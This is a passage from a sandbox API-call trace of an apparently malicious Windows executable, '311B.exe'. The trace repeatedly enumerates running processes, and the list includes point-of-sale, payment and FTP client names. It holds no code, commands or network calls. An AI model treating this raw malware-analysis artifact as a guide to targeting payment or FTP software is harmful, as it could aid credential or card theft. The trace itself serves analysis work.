th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0231.385] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0231.387] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0231.389] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0231.391] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0231.392] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0231.394] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0231.396] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0231.398] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0231.399] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0231.401] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0231.403] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0231.404] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0231.406] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0231.408] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0231.409] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0231.411] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0231.413] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0231.508] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0231.510] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0231.512] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0231.514] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0231.516] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0231.517] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0231.519] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.521] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0231.522] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0231.525] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0231.527] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0231.529] CloseHandle (hObject=0x15a4) returned 1 [0231.529] Sleep (dwMilliseconds=0x64) [0231.607] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15a4 [0231.620] Process32First (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.621] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.623] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.624] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.626] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.627] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.682] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.684] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.685] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.687] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.689] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.691] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.694] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.696] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.698] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.700] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.701] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.703] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.704] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.706] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.708] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0231.709] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0231.710] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.712] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.763] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0231.765] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0231.768] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0231.770] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.772] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0231.774] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0231.777] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0231.779] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0231.781] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0231.784] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0231.786] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0231.789] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0231.791] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0231.793] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0231.795] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0231.797] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0231.799] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0231.861] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0231.864] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0231.866] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0231.868] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0231.870] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0231.872] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0231.874] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0231.876] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0231.879] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0231.880] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0231.882] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0231.884] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0231.886] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0231.887] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0231.889] Process32Next (in: 